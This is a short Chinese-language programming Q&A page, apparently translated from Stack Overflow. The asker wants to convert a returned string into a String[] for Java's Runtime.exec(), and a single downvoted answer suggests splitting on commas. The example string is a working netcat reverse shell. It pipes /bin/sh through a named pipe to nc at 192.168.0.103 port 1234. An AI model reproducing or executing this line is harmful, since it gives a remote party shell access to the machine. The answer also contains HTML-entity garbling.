使用runtime.exec()将java String转换为String []

时间:2016-08-26 20:36:09

标签: java arrays string runtime.exec

我有像

这样的方法
public String doSomething(String paramString) {
    try {
       //do something with paramString and store it in myNewValue          
       return new String(myNewValue, "UTF8");
    } catch blocks...
}

假设doSomething()最后返回以下字符串:

{"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}

现在它实际上是一个字符串数组,如果你看一下它,但由于它是从doSomething()作为字符串返回的,所以它被视为一个字符串而不是String[]

现在让我们说上面的字符串存储在str3中:

String str3 = doSomething();

现在无论如何使用:

Runtime.getRuntime().exec();

str3可以转换为String[]并传回Runtime.getRuntime().exec();

基本上类似于:

  

Runtime.getRuntime()。exec(这里有一些java magic将str3转换为String [],然后将此String []传递给此exec方法本身);

1 个答案:

答案 0 :(得分:-3)

您可以将字符串拆分为,,假设数组中的任何字符串都不包含,

String [] string3 = doSomething(foo).split(&#34;,&#34;);